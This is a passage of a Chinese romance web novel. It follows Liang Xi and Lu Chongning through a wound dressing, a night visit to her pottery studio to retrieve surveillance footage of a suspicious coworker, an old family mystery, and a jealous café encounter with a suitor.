路崇宁缓缓转过去,抬手将短袖上拽,一道鲜红色的伤口,差不多得有七八厘米长,皮都蹭掉了,隐约往出渗血丝。
本来梁喜还担忧是不是什么人打了路崇宁,看到伤口后虽然心疼,但没那么担心了,“去医院吧,天热别感染。”
路崇宁摇头,“小伤,没事。”
“不行。”梁喜把他往门口拽,路崇宁却反手抓住她手腕,淡淡说道:“真没事。”
她放下电蚊拍,走去鞋柜旁边,踮脚想拿玄关上的药箱。
“我来。”
要在平时路崇宁的身高拿药箱毫不费力,可后背受伤,他动作很缓,看来真的很疼。
梁喜接过去,“去房间。”
路崇宁跟在她身后。
“坐。”
路崇宁听话坐到床上。
“衣服脱了。”
这回他犹豫了,梁喜重复一遍,他才转过去背对梁喜把衣服脱掉。
那道伤口又赫然眼前,除此之外还有路崇宁细长的腰身,只是在伤口旁边有一个陈年疤痕,看见这伤疤梁喜一瞬愣住。
算算应该有十六年了,小时候梁喜和院里小朋友打架,路崇宁被他妈带来串门正好撞见,替她挨了一棍子,后背因此落了个疤。
“怎么了?”路崇宁问。
“没事。”
梁喜打开碘酒的同时路崇宁点了根烟,她夹出棉球,小心在伤口上擦拭。
“疼不疼?”
路崇宁咬着烟一声不吭。
梁喜手上加了点力道,路崇宁仍不吭声,他总是如此擅长忍耐。
“这两天别洗澡了。”
“嗯。”
“要是衣服磨着不舒服,你就光着。”
路崇宁一顿,拽过烟灰缸弹了下烟灰,“可以吗?”
他询问梁喜的语气让梁喜有点想笑,可梁喜又不想承认那时所谓的约束其实是为了撒气
“看在你老板定了那么多黑陶的份上,以后你在家爱干什么干什么,我不管。”
“一言为定。”
梁喜隐隐觉得哪里不对。
瞥到桌上的书,她忽然想到什么,“诶?你记不记得我拿回来的资料里面有个讲多彩黑陶的?”
路崇宁仔细回忆,“好像有。”
“我也记得有,可是今天怎么也找不着了,奇怪,我原封不动拿过去的。”
“就少这一本吗?”
“老王点名要看这本,偏偏不见了。”
碘酒抹完,梁喜琢磨着要不要弄点云南白药,犹豫间路崇宁转过来,说:“你要小心那个周靖哲,他心术不正。”
“你也发现了?”
路崇宁看着梁喜,“他怎么你了?”
梁喜回忆到工作室后发现的种种迹象,“他和我们工作室已婚的佩姐搞那种关系,最开始我发现两人用同一个味道的洗发露,佩姐还经常给他带水果,有客户过来,佩姐也会引荐给周靖哲。”
洗发露的细节跟路崇宁的发现性质重合,他把之前自己看到的事讲给梁喜听,梁喜听完没有气愤,而是沉默。
沉默过后她问,“周靖哲为什么这么做?我又没惹他。”
“可能”路崇宁说出自己的推测,“嫉妒你吧。”
“我这么平凡,有什么可嫉妒的?”
平凡是梁喜给自己贴的标签,但她不认为这两个字是贬义。
路崇宁没回答梁喜,而是问:“你们工作室有监控吗?”
“有,不过视频好像存储在收银那台电脑里,平时除了老王和佩姐以外没人看,她和周靖哲”
如果资料被周靖哲偷拿走,说不定佩姐已经将视频删除了。
“一会儿我过去看看。”
梁喜被路崇宁这句话惊着了,回过神才发现她的手一直搭着他后背,她没有撤走,而是歪头看他,“你要干嘛?”
“调监控。”
“万一删了呢,佩姐那么喜欢他,包庇他很正常,算了,我以后小心点就行了。”
“这种人得寸进尺,功利心又强,不拿着他的把柄,以后还得欺负你。”
梁喜坐正,看着路崇宁受伤的后背,说:“我自己去,你不熟悉,找不到库房。”
“你们工作室总共没多大,你告诉我大概位置,我现在去。”
路崇宁说完站起来,梁喜手中的碘酒棒在他后背划过一道褐色印迹。
“你还有伤呢,听话行不行?”
路崇宁忽然笑了声,“你还知道“听话”这个词呢?”
一句话给梁喜干没电了
路崇宁从衣柜里拿出那件印着梁喜名字简称的黑色T恤穿上,可能
因为后背实在疼,他穿的时候衣角往下拽得缓慢。
一看见这件衣服,梁喜不自控地想起那段无疾而终的初恋,时隔几年,当事人就站在面前,他穿这件衣服甚至比当年还帅。
只是为什么忽然想起穿了?之前一直压在箱底的
“路崇宁。”
梁喜追出去,他已经在穿鞋了。
“一起。”
梁喜随便趿拉一双鞋拖,拿上钥匙,比路崇宁先一步出门。
既然无法阻止,那就结伴而行
工作室的钥匙人手一把,谁到得早谁就开门,自从梁喜来了之后她每天都是最早到的那个,开门的活自然落在她身上。
从出租车下来,梁喜跟路崇宁说:“你别动,我过去看看。”
黑夜里,梁喜踮脚走路的模样像一只怕惊到虫子的小鸟,路崇宁在她身后望着这幅画面,没忍住被逗笑。
只是这个笑梁喜没看见。
确认里面没人,门也锁着,梁喜想招呼路崇宁,扭头发现他已经跟过来了。
开门进屋,路崇宁没让梁喜开灯,摸黑往楼上走,上次两人这样一起偷偷摸摸行动还是刚谈恋爱的时候,路崇宁出去倒垃圾,梁喜假装他落下一个垃圾袋,也去扔,在楼下汇合后溜达一圈才回家。
“路崇宁,你慢点。”
梁喜说完脸好像怼到什么,原来是路崇宁的手指,他在上面伸过手来,头却不转,带着一股傲娇的相助。
“不要。”
梁喜不好意思的成分居多,拒绝完马上后悔
走到二楼,路崇宁仰头,一下找到走廊墙角亮红灯的监控,梁喜说:“太高了,我去拿把椅子。”
她从屋里拽了把椅子出来,路崇宁踩在上面拔掉监控里的存储卡,得手后赶快下楼。
收银台的电脑被梁喜打开,路崇宁借着屏幕光插完读卡器,见她还愣着,瞥了一眼屏幕,说:“六个八。”
梁喜:“你怎么知道开机密码?”
“上次买黑陶,结账的时候不小心看见的。”
梁喜半信半疑输入,电脑进入主界面,还真对了。
路崇宁拿过鼠标,点开文件夹。
“删了吗?”梁喜小声问。
鼠标滑动,他按日期找到视频,“没删,可能没想到你会回来查。”
虽然梁喜对周靖哲有怀疑,但她确实没想查,大不了以后小心点这个人,要不是路崇宁坚持,她真不会来。
路崇宁先把刚才拍到他那段删了,紧接着把视频拷到手机里,再把存储卡安装回去,一整套动作行云流水,熟悉得像个特工。
梁喜这么调侃路崇宁,没想到他说:“公司办公室的监控都是我装的。”
“你连这些活都干?”
“顺手帮忙。”
路崇宁自从到梁辰义家之后动手能力大增,因为梁辰义时常教他课本以外的生活技能,现在想想比书本实用得多。
“视频放我这,如果周靖哲欺负你一定告诉我,你别出面,我帮你解决。”
梁喜有点想笑,“怎么一副地痞小流氓的架势?”
“嗯,你是大小姐。”
这么紧张的气氛下路崇宁还有心思调侃。
“跟信航不学好。”
关电脑之前,路崇宁跟梁喜确认,“一楼没监控吧?”
“没有,展品多数在二层,所以只有上面有监控。”
“行,走了。”
进屋不过十分钟搞定,效率高到任何老板看了都想挖墙脚
回家走进小区,梁喜忽然想喝椰汁,正好小卖店还没关门,她顺路过去买一瓶。
以往看店的男人今天不在,换成了老板娘,没等梁喜开口,她自己先哀怨上了,说伙计下午接了个电话,家里出事,工资也不要,把东西收拾收拾就走了。
路崇宁顺老板娘手指方向看过去,小卖部角落里有张单人床,床单中间布满褶皱,像有人睡过。
“他平时就住那吗?”
“对,他晚上得看店,索性就让他住店里,省租房子钱了。”
见路崇宁好像还有话要问,梁喜又去货架那边挑东西来拖延时间。
路崇宁要了包烟,拆开拿出一根,没点,“张哥在你这上班有段时间了。”
老板娘笑笑,“什么张哥啊,他叫周胜。”
“噢,对,周哥。”
“周胜那人老实,说得少,做得多,要不是他家里有事,我真舍不得这个伙计,他要在我得省多少心啊!”
梁喜拿了两瓶椰汁、一袋红枣,还有一瓶海鲜酱油放到收银台,老板娘用计算器算了下,“一共二十七。”
“还有烟。”路崇宁提醒完扫码付钱,收款的声音和老板娘计算器上的数字对上,她笑着去拽塑料袋,梁喜没要,她买东西一般手能拿得下就不要袋子
回家把东西放到厨房,梁喜还想看看路崇宁的伤口,从门缝瞥到他把衣服脱了,梁喜推门进去,“还出血吗?”
路崇宁往后用力转,可惜看不到什么。
梁喜把纱布一角揭开,“不出了,就怕留疤。”
“留疤没事。”
胶布贴回去,路崇宁转身,和梁喜面对面。
“你怎么你怎么穿这件衣服?”憋了一路,她终于问出口。
“想穿就穿了。”
路崇宁掐着腰,自上而下看着梁喜,他有点故意,故意让胸前那两个字母被发现,被放大,然后搅乱梁喜本就躁动的心。
“困了,睡觉。”
梁喜大手一挥,关门出去。
她被路崇宁的身子晃得直晕乎,还不忘安慰自己,没事没事,成年人了,有点生理反应很正常。
只是妈的,身材确实好。
第26章 第二十六章 许京平来化城。……
这晚之后第二天, 路崇宁又公然穿着印有梁喜名字简拼的短袖出门,虽然没人在意,但他在梁喜面前晃悠好几次, 那么明显的字母想忽略都难。
中午梁喜给信航打电话, 约他晚上到家里吃饭,信航说可能得晚点, 梁喜回他没事, 反正明天她和路崇宁都放假。
晚上八点多信航终于赶到, 虽然人来了, 可脸上却挂着彩。
梁喜一手拎着铲子从厨房出来迎客, 发现信航不止脸上有擦伤,衣服裤子也全是灰,“怎么搞的?”
“出警了, 受点小伤。”
“你们两兄弟怎么回事?接连受伤。”
“你咋了?”信航看向路崇宁,同时也看见他衣服上梁喜名字的字母。
路崇宁没答,抓起钥匙要穿鞋,“去医院吧?”
信航拦住他, “埋汰我呐?这点伤去医院, 我师父能损我一年。”
厨房锅里还炒着菜, 梁喜对路崇宁说:“你给信航找套衣服, 先去洗洗, 菜马上出锅, 我给他抹点药。”
顾不上尝咸淡,梁喜快速关火盛菜, 等她从厨房出来,摘掉围裙去找药箱,发现路崇宁已经拿下来了, 他站在洗手间门口,一手碘酒,一手棉签,准备得相当充足。
“我来。”梁喜勾勾手。
“不用。”
“我不会弄疼他,放心。”
路崇宁不吱声,斜昵她,眼神意味深长。
梁喜拿过碘酒,“怎么啦?上次把你弄疼了?”
他忽然笑了,梁喜不明所以,洗手间门这时打开,信航穿着路崇宁的短袖短裤出来,嘴上“嘶嘶哈哈”
“上药。”
路崇宁和梁喜异口同声。
信航见他俩一人手里一个家伙式儿,感觉到翻倍的关心,笑笑说:“我自己来。”
他拿过去,对着镜子胡乱抹几下了事。
“真能糊弄。”
梁喜走进洗手间,帮他仔细又擦一遍药。
“小宁穿的是你衣服啊?”
刚才梁喜就有预感信航可能会发现,她实话实说,“啊,以前
上学时候买的,买了两件,给他一件。”
确实实话实说,只是梁喜没说另外一件印的是路崇宁的名字。
信航笑笑,“我还寻思你哪来这么大码的衣服。”
门外,路崇宁听见这段话,转身去厨房把菜端出来,把饭盛好。
信航虽然受伤,但一点没耽误吃饭,满满一锅米饭,他自己吃了一半,边吃边夸,夸一句两句还好,太多就显得假,梁喜怀疑他把脑袋磕坏了,让他消停吃饭少说话。
吃完两个男的收拾,梁喜落个清闲,其实差不多都是路崇宁收拾的,他不让信航插手,信航就在一旁和他聊天,两人不知道说些什么,还把厨房门关了
“你让我帮忙查的人,我查到了一点。”
路崇宁闻话立马关上水龙头。
在这之前,他给信航发信息请求帮忙的时候信航说:“告诉你可以,但我得知道原因。”
路崇宁回他,“你先查着,原因我当面告诉你。
现在信航站在面前,路崇宁再不能有所隐瞒,他用水冲冲手,把收到梁辰义那封快递文件之后发生的事悉数讲给信航,他听得脸上红一阵白一阵。
等路崇宁讲完,信航有点自责,“怪我,单位太忙,没空往深了想。”
“跟你没关系,梁叔的死是意外,但他费尽心机留给我的线索或许跟我爸的死,还有我妈失踪有关。”
路崇宁让信航帮忙问的人叫“马有原”,当年梁辰义为了路召庆出头,殴打他人入狱,这个“他人”就叫马有原,他还有另外一个隐藏身份——杨婉仪的初恋。
后来杨婉仪和路召庆好了,马有原一定心有不甘吧,加上杨婉仪确实漂亮,性格又好,他不肯放手很正常,梁辰义对朋友一向仗义,路召庆受欺负他怎么忍得了,冲动之下便打了马有原。
这些都写在梁辰义的笔记上,在他留给路崇宁那部分里面最后一行这样写:“马有原,2014年1月回到化城。”
化城后面还跟着一个大大的“?”
问号是梁辰义自己问的还是留给路崇宁,现在无从知晓,只是这个时间段并不平常,因为正是路家出事那一年。
信航拽过冰箱旁边的红色塑料凳坐下,说:“当年梁叔进去后,马有原去了南方,从那之后再没回过化城,也没回过老家。”
“没回过?”
“嗯,没有记录,除非自己开车。”
“他老家还有什么亲戚吗?”
信航摇头,“父母去世了,户籍上显示还有个妹。”
妹路崇宁终于看到点希望,可信航又说:“我朋友帮我查了下,没有联系方式,有点奇怪。”
刚燃起的希望迅速破灭。
“你明天休息,去我爸市场吧,他找你。”
信航说完笑笑,“老爷子跟我有秘密了,哎。”
路崇宁拍拍他肩膀,“民叔不想让你烦心,明天我抽空过去,市场几点关门?”
“七点半。”
“好。”
聊完正事,路崇宁看眼梁喜给信航贴的创可贴,上面的爱心图案鲜红刺眼。
“疼吗?”
“跟蚊子咬了似的。”
还挺皮实。
厨房门拉开,梁喜看向说话那两人,“洗完了吗?”
路崇宁倏地站直,信航替他回答,“马上。”
“去客厅坐,杵这干吗?”
信航走过去,揽着梁喜肩膀往客厅走,“我们哥俩聊点小秘密。”
“上一边去!”
梁喜耸耸肩,见信航还不撒手,刚要抬脚踩,他跟猫受惊一样弹开,动作矫捷
路崇宁本想第二天上午去找民叔,可公司临时有事耽误了,下午三点他打车到城南的生鲜市场,信航家的摊位在冻货区,路崇宁之前去过,记得大概位置,他循着记忆走过去,很顺利找到民叔。
他这会儿有点忙,打过招呼后路崇宁帮着一起干活,把眼前几位顾客送走摊位才安静下来。
“崇宁,累了吧?你坐,民叔去给你买水。”
“不用了民叔,不渴。”
信民拍拍路崇宁肩膀,对他表现的慈爱不输信航。
“我知道,有些事你迟早会问,本来你爸去世后我觉得不用再提了,没想到老梁”
信民洗完手在围裙随便抹几下坐到凳子上,“我没跟信航说那么多,他工作忙,不想让他分心,还是直接告诉你更好一些。”
“嗯。”
“没谈过恋爱吧?信航跟我说你没谈过。”
不知民叔为什么突然问这个,路崇宁眼前一闪而过梁喜的脸,如实回答,“谈过。”
信民不太意外,他笑笑,“你妈年轻时漂亮,召庆对她一见钟情,从马有原手里抢过来的,召庆的条件方方面面都比马有原强,男未婚女未嫁很正常。”
信民话里话外向着路召庆,作为朋友,他觉得只要没结婚,抢女朋友这种事无伤大雅,何况人不在了,能想起来的都是兄弟的好。
“马有原一直心有不甘,时不时去骚扰你妈,路召庆警告他几次,没用,直到那次闹得凶,老梁为了保护你爸,把马有原打进医院,他自己也丢了工作,还进去蹲几年。”
“刚出事的时候召庆怕连累老梁,提出给马有原一笔钱私了,但他死活不同意,等到事情落定,你爸硬是塞给他一笔钱,算驱逐费吧,马有原后来去南方打工,一直没消息,这个人好像彻底失踪了一样,没再打扰过你家的生活,不过有一点老梁确实跟我说过,一四年初的时候他好像在街上看见过马有原,但不太确定。”
信民说到这揉揉手腕,“我当时怀疑老梁看见一个和马有原长得像的人,要不画问号干嘛?”
路崇宁挑重点问:“不管他回没回化城,如果他跟我爸的死,还有我妈的失踪没关系,梁叔为什么费尽周章在临死前给我留下这些信息?”
“或许老梁另有用意。”
当初的三兄弟如今只剩下信民自己,他时而感慨活得平凡有平凡的好处,他甘愿过普通人的日子,淹没在芸芸众生中,不是最好,也不是最差。
“小宁,听叔一句劝,别再揪着以前的事不放,过好今后日子比什么都强,你好好的,你爸在天之灵也能安息。”
路崇宁没表态,这样的劝说对他来说毫无效果,因为他妈还没下落,生不见人,死不见尸,他不可能放任现成的线索不管。
“马有原有个妹妹是吗?”
“那不知道,我就在派出所见过他一次,模样都有点记不清了,只知道他家是农村的,很小就在化城打工。”
“做什么?”
“带两个工人揽了点工地上的小活。”
信民不想绕着刚才的话题出不去,问:“小宁,在公司怎么样?领导对你好吗?”
“挺好的。”
“赚得够不够花?”
“够。”
有顾客过来,信民赶忙起身招待,路崇宁想说的话停在嘴边,打过招呼后离开摊位。
事情没有头绪,他暂时不能把他家的事跟马有原硬往一起联系,眼下只能走一步看一步
梁喜今天特意早退一会儿,晚上有饭局,要收拾一下。
从卧室出来,她双手背后拉裙子拉链,刚拉到一半,路崇宁开门回来。
他见梁喜这副架势,问:“去哪?”
“晚上许京平找我和师父吃饭。”
“谁?”
“许京平。”梁喜以为路崇宁忘了,帮他回忆,“就是之前去昆明参加学术会议跟我说话的那个,也是做黑陶的。”
路崇宁眨眨眼,没说什么,低头换鞋。
梁喜走进洗手间,后背对着镜子,扭头费劲巴力抓拉链,还差一点
“我来。”
梁喜闻话放手,看向镜子,头发被路崇宁捋到一边,拉链顺畅拉到顶。
这件裙子是梁喜买过最贵的一件衣服,一般重要场合才穿。
路崇宁的视线在她白皙的肩膀处一扫而过,说:“外面不再套一件吗?有点凉。”
梁喜皱眉,“你说啥呢?”
快七月了,穿裤衩都嫌热的季节
路崇宁没再说什么,转身出去。
整理完头发,梁喜从洗手间出来走到路崇宁房门口,没找到人,转头在冰箱前看见他手里拿着一瓶矿泉水,仰头几口喝掉半瓶。
“你晚上有事吗?”梁喜问他。
“有。”
“那算了,不带你。”
水放回冰箱,路崇宁瞥了一眼梁喜的卷发,看来还刻意打扮了。
“我走了啊。”
梁喜刚要去换鞋,路崇宁忽然叫住她,“你今天还没给我擦药呢。”
“不都晚上擦吗?”梁喜眨眨眼,“又疼了?”
“没”
路崇宁一时不知道该说什么,只见梁喜从门口又走回来,“行,现在擦吧,晚上我不一定几点回来呢。”
不一定几点?路崇宁冷眼来回,连药箱都没拿,进卧室去了
梁喜不知道许京平来化城做什么,但应该和旅游无关,化城既不是古都,又没什么独特景点,只有两个后建的景区,编了点背景故事,糊弄糊弄一走一过的人,细琢磨站不住脚。
许京平今天上午才到,中午梁喜就接到老王电话,说他要请许京平吃饭,许京平点名让老王把梁喜叫上。
电话里老王说:“喜喜,许京平出身不错,家里好几代都是做黑陶的艺术家,年轻有为还未婚,你要是喜欢,师父帮你介绍。”
梁喜哭笑不得,让老王别瞎联系,之后问了吃饭位置,说她晚上准时到。
梁喜以为老王会找家本地菜馆,弄个包房安静吃饭聊天,可她怎么也没想到师父竟然找了一家铁锅炖,而且装修有点过于特色,花花绿绿迷人眼。
梁喜和许京平同时到的,在门外碰巧遇见,梁喜跟他礼貌打招呼,“许先生,你好。”
“叫我名字吧,不用客气,我听你师父叫你喜喜,我能叫吗?”
“当然可以。”
上次在昆明会场,许京平一身西装穿着得体儒雅,今天穿的运动装倒显得年轻了,梁喜不知道他具体年龄,但肯定不会超过三十岁。
许京平开门,侧身让梁喜先进。
“谢谢。”
走到收银台,梁喜问服务员,“你好,有位王先生订的包房。”
“手机尾号。”
“0933。”
“这边。”
身后另外一个服务员将他俩引到二楼,打开包房时老王已经坐在里面了。
他之前就和许京平在学术交流会上见过几次,两人寒暄几句才坐下。
“京平第一次来化城吧?”
“是。”
“这家店很好吃,你尝尝,也不知道能不能吃得惯。”
“能,我喜欢吃东北菜。”
梁喜不太擅长和陌生人打开话匣,只得找事做,她把一次性餐具打开,分别递到老王和许京平面前。
“谢谢。”许京平撕开湿纸巾擦手。
老王见了也跟着擦,“这次过来能待几天?”
“看看,还没定。”
“明天有时间去我那吗?”
“当然,你们几点开门?”
“八点半,你想什么时候去都可以。”
老王说完看向梁喜,“喜喜到的最早,有时候八点就到了。”
梁喜笑笑,“师父,点菜吧。”
她把桌角的巨大菜单放到许京平跟前,“看看想吃什么?”
许京平把点菜任务交给老王,“还是王老师点吧,我不知道哪个好吃。”
老王接过菜单,把服务员叫来点了排骨豆角锅,还有贴饼,食材相继端上来,服务员拿着铲子一通挥舞,很快香味在包房散开。
锅盖盖上,计时器开始计时,得等一会儿才能炖好,三人守着冒热气的圆锅开始聊天。
大部分时间都是老王和许京平在聊,偶尔提到梁喜,她陪着说几句。
饭局持续了一个多小时,没人喝酒,所以结束得快,老王开车来的,说要送许京平回酒店,没想到他说:“我想约喜喜喝杯咖啡,王老师您喝咖啡吗?要不要一起?”
老王和梁喜面面相觑,她一脸蒙圈,明显一副刚被通知的模样,老王意味深长地笑笑,“我年纪大,喝不来那玩意儿,你俩去吧。”
说完和许京平告别,开车走了。
“你能喝咖啡吧?之前在昆明开会的时候我见你喝过美式。”
一早的会议谁都犯困,梁喜进会场的时候带了杯冰美式去的,没想到许京平还记得,只是他的直球打得梁喜措手不及,看时间还早,不太好意思拒绝,说:“能喝。”
“好。”
许京平打开手机查了查,说:“附近有一家,走过去行吗?”
“可以。”
七点半的化城,天空已经擦黑,街上行人很多,基本都是吃完晚饭出来遛弯的。
“你是哪里人啊?”梁喜问。
“德城。”
梁喜知道那里也产黑陶,而且很有名。
“山东人啊,怪不得个子这么高。”
梁喜感觉许京平和路崇宁身高差不多,但路崇宁比例好些,显得腿更长。
许京平的视线从梁喜眉眼闪过,说:“东北和山东一家亲,闯关东那会儿很多山东人往东北迁居。”
“嗯,听我爸说过,我爷爷那一辈就是从山东过来的。”
前面看见一家咖啡店,门脸虽然素净,却很吸引人,梁喜问:“这家可以吗?”
“对,我在网上看的也是这家,新开业没多久。”
门打开,“叮铃”一声,清脆的声音在傍晚非常悦耳,梁喜和许京平一起走向点餐台,一个穿着工作服的男生回过身,问:“喝点什么?”
他抬头,三人都愣住了。
路崇宁?
他说的晚上有事难道是来咖啡店打工?
第27章 第二十七章 前女友无权过问……
相比许京平的反应, 梁喜要意外得多,毕竟许京平对路崇宁只有一面之缘,不了解他做什么工作, 但梁喜是熟人, 熟得不能再熟。
她一肚子想问的话,可没等她开口, 许京平先认出来, “诶?你是”
他看向梁喜, “你哥吧?”
“嗯。”
路崇宁一点想打招呼的意思都没有, 而是又问一遍, “二位喝点什么?”
他看也不看梁喜,盯着面前的电子屏,但余光还是能扫到想看的人。
梁喜不想在这跟路崇宁掰扯, 照常点单:“我喝冰美式。”
说完看向许京平,他想了想,“和你一样吧,再来两块燕麦曲奇, 我看你晚饭没怎么动筷, 应该没吃饱。”
“吃饱了。”
“点吧, 我吃。”
拗不过许京平, 梁喜对路崇宁说:“两杯冰美式, 两块燕麦曲奇。”
路崇宁的手指在屏幕上狠戳几下, 留下的指纹比以往重很多
梁喜刚要付钱,被许京平拦住, “我来。”
“别,你第一次来化城,怎么能让你花钱呢?”
两人争论间, 路崇宁掏出手机默默付了钱,并将打印出来的小票递给梁喜,手指右方,“那边取饮品。”
流程跟招待其他客人一样,礼貌,疏离,却多了一份不该有的冷漠。
见路崇宁付账,许京平不太好意思,要说什么,被梁喜拦住,“没事。”
两人站到一旁等,后面工作间又出来一个男生,代替路崇宁站到收银台,他则去一旁做咖啡。
不急不慢,手法娴熟,很快便做好了。
“谢谢。”
许京平端起咖啡,笑着对路崇宁说。
他没回应,转身忙别的。
场面有点尴尬
梁喜赶忙拉许京平到靠窗位置坐下,她替路崇宁解释,“不好意思啊,我哥在上班,不方便跟你打招呼。”
“没事,一般当哥的看妹妹身边的男人都不顺眼。”
嗯?梁喜一下恍然,难道路崇宁是这层意思?
许京平喝口咖啡,斜睨路崇宁方
向,“这家店是你哥开的吗?”
“不是,他在这打小时工。”
梁喜不用问也知道,路崇宁刚还清家里的债,哪有钱开店
“那他本职工作是什么?”
“在一家建筑公司上班,化城要建游乐场,他负责那个项目。”
许京平视线转回来,眼镜镜片闪过一道白光,“你哥还挺上进,一天打两份工。”
梁喜背对收银台方向,看不到路崇宁在忙什么,同样不知道路崇宁是否有看过她
“你也尝尝。”许京平指着梁喜面前的咖啡,说:“你哥手艺不错,很好喝。”
“是吗?”梁喜端起杯子,惯性搅动两下冰块,吸了一口,果然不错,看来许京平没有假装客气。
“你做黑陶多久了?”
“小学时候开始学,断断续续学到高中毕业,大学几年没怎么练。”
许京平又问:“那你毕业后就回化城了吗?”
“今年才回来。”
想起今晚在饭桌上许京平问梁喜的种种问题,加上刚才这几个,差不多让她把二十几年的生活压缩简单概括了一遍,怎么跟做背调似的
许京平打开手机,翻出相册给梁喜看,“王老师发给我的,他说是你做的。”
“这个呀。”
梁喜看到照片里的浮雕双龙珠,抿抿嘴唇,有点不好意思,“做得不好,有瑕疵。”
“不,你雕得很棒。”
许京平看梁喜的目光里不仅有欣赏,还有别的情感,像滴入水中的咖啡液,丝丝渗入。
梁喜也感觉到了,她移开视线,拿起咖啡杯看向窗外。
突然她一愣,咖啡在杯里荡起波纹,许京平顺着她的视线看到窗边坐着一个男人。
背影不难认,是路崇宁,他弓腰坐在地上,隔着一层玻璃背对店里的人正在抽烟。
“吃曲奇吗?”
许京平把餐盘推到梁喜面前,试图转移她的注意力。
梁喜回过头来,“谢谢,还不饿。”
“你有男朋友吗?”
“?”
话题转得突然,梁喜没有丝毫准备,她愣了好几秒才反应过来,摇摇头,“没有。”
“那就好。”
梁喜终于明白他什么意思了,要在往常这种场合,一般女孩儿会问什么那就好?或者问什么意思?
虽然许京平这个人用老王的话讲,家庭优渥,一表人才,但梁喜对他没有任何非分之想,更不想和他搞暧昧,所以没接茬。
“你哥有烦心事吧,这么快抽第二根了。”
“他”梁喜看着路崇宁,两人仅一道玻璃之隔,仿佛伸手就能摸到他的背脊。
烟雾随他仰头向上飘散,被风吹了几道弯,看起来确实心事重重。
好半天,梁喜沉沉回了句话,“可能累了。”
她又问许京平,“你抽烟吗?”
“我不抽烟,也不喝酒。”
“好习惯。”
“我去下洗手间。”梁喜放下杯子起身,顺着指示牌走过去。
上完厕所出来,梁喜迎面撞见看见路崇宁正在洗手台那洗手,她凑过去,主动问:“你怎么”
话没问完,路崇宁甩甩手上的水,走了。
走了?!
梁喜有点生气,什么意思嘛!一直不理人刚才碍着许京平在也就算了,现在只有两个人还爱搭不理?
梁喜气得暴力洗手,水溅得洗手台到处都是。
回到座位坐下,许京平迎面问:“怎么了?”
“嗯?”
“你脸色不好,不舒服吗?”
梁喜一瞬变脸,调整回状态,“没有啊。”
上个洗手间的功夫旁边桌子坐了两桌人,路崇宁正在做咖啡,等客人拿到自己桌上时梁喜特意瞄了一眼,竟然还会拉花?
“给你看看我做的。”
许京平站起来,坐到梁喜身旁的椅子,把手机递给她。
几张照片划过,梁喜双眼放光,许京平的作品线条流畅,即便在图片里也像闪着光芒一般。
“你好厉害啊!能雕这么难的样式。”
今晚梁喜从老王和许京平的聊天中得知他从小就跟父亲学习陶艺,技术虽然比不上老王,但他还年轻,将来肯定成就不小。
“我这次来是想看看王老师做的灵透黑陶,黑土地独有,可以在不同时段变色,这才叫厉害。”
忽然梁喜看到一张图有点激动,“这个!我最近也在学,就是怎么都雕不好。”
“明天去工作室我教你啊。”
“真的吗?”
“干嘛骗你。”
梁喜开心过头了,完全没注意身后点单台处有人正在讨论她
“小宁,那人谁啊?”
说话的人是信航,他手臂拄着吧台,朝梁喜方向看,眼神很不友好,像要将许京平生吃活吞了一样。
“不认识,你怎么来了?”
“下班路过,来看看你。”
路崇宁在这做小时工有段时间了,从开业到现在只要有空就来,但信航才知道没几天。
“你不让我告诉喜喜,自己反倒说了呢?”
“碰巧遇上,我没说。”
“我去打个招呼。”信航刚要动身,被路崇宁拦住,“别去了,他们在谈事。”
“那怎么了。”
信航不听劝,甩开路崇宁朝梁喜走去。
“喜喜。”
正在谈话的两人被说话声打断,同时抬头。
梁喜一看是信航,身子坐正,问:“你怎么在这?”
信航看许京平的目光不太友好,“这位是新朋友吗?”
“你好。”许京平站起来跟信航打招呼,自报姓名。
“我叫信航,喜喜的青梅竹马。”
“我和梁喜刚认识不久,噢,我也是做黑陶的。”
梁喜借着抓头发的假动作,鬼鬼祟祟向后瞄了一眼路崇宁方向,只看见一个陌生店员。
“信航,我俩聊点事,你去找路崇宁吧。”
信航的视线落在两人中间,“聊啥事要坐这么近呐?”
梁喜低头,不怪信航说,确实有点近
许京平向左迈了一步,拉开距离,解释说:“我给她看我做的黑陶。”
“行,你们继续,回见啊哥们儿。”
“再见。”
相比信航的心直口快,许京平的儒雅更加凸显,等信航走去吧台他才重新坐下,继续和梁喜讨论陶艺,只不过不像刚才坐那么近了
九点钟,梁喜送走许京平又返回店里,她进屋直奔路崇宁面前,敲敲桌面,说:“我等你下班。”
说完坐到离点单台最近的位置,干等。
她情绪不好,路过的狗都想甩脸子。
路崇宁知道她说等就一定会等,无论几点。
员工休息室,路崇宁跟同事交完班,换下工作服出来站在梁喜面前,“走吧。”
她起身,一声不吭,看也不看,疾走让裙摆飞扬,即便生气,在外人看来也是冷脸美人儿。
等路崇宁也跟出来,梁喜一秒都不想等直接问:“你什么意思?”
信航有事先走了,不然梁喜连他也不会放过。
“怎么了?”
“?”
梁喜梗着脖子看路崇宁,他又穿了那件印着梁喜名字简拼的短袖,她心口的气想撒却撒不出来。
路崇宁习惯性地摸摸喉结,“我在忙,没时间跟你朋友打招呼。”
“那我呢?跟我说话会扣工资是吗?”
路崇宁一下语塞
“信航都知道你在这打工,只有我不知道,赚得不够花吗?还是出了什么事?”
路崇宁不想撒谎,又不想直说,还在那摸个不停。
梁喜气得一把打掉他的手,“我知道你不喜欢我,五年前就不喜欢,好,前女友没有权利过问,那作为你妹,我可以打听我哥的事吗?”
路崇宁看着梁喜,跟信航能轻而易举讲出的话,跟梁喜却怎么也开不了口因为他一无所有,自卑像一把无情板斧,将他劈得遍体鳞伤,尤其梁喜身边又出
现了一个条件很好的男人。
见问不出什么,梁喜不想再难为路崇宁,也不想难为自己,她小跑过街。
路崇宁追过去,可面前突然开过一辆车,等他过街的时候梁喜已经不见了。
她上了出租车,路崇宁腿再长也跑不过四个轮子。
到家之前梁喜收到好几条短信,都是信航发的,他一直问许京平什么来头,哪里认识的,八卦一样,非从梁喜那扣出点什么不可,梁喜一个字都不想回,直到他说:“小宁不让我告诉你是怕你担心,他也老大不小了,得攒点钱买个房子,以后结婚不能还住你家吧。”
梁喜看完这段话不再气了,而是感到痛彻的难过和无力,她知道路崇宁总有一天会离开,但被切实告知,好似离别已经开始进入倒计时
许京平第二天到的比梁喜还早,她骑车到工作室时看见许京平站在门口,手里拎着一个外卖袋。
“梁喜,早啊。”
“你怎么来这么早?”
自行车停到窗下,梁喜赶忙开锁,把许京平往屋里领。
“给你买了份早餐,也不知道你爱不爱吃。”
梁喜扫了一眼外卖袋,是一家连锁粥铺,一碗粥卖五块钱,再填两块她就能吃个加肠加蛋的顶配煎饼果子了,属实浪费。
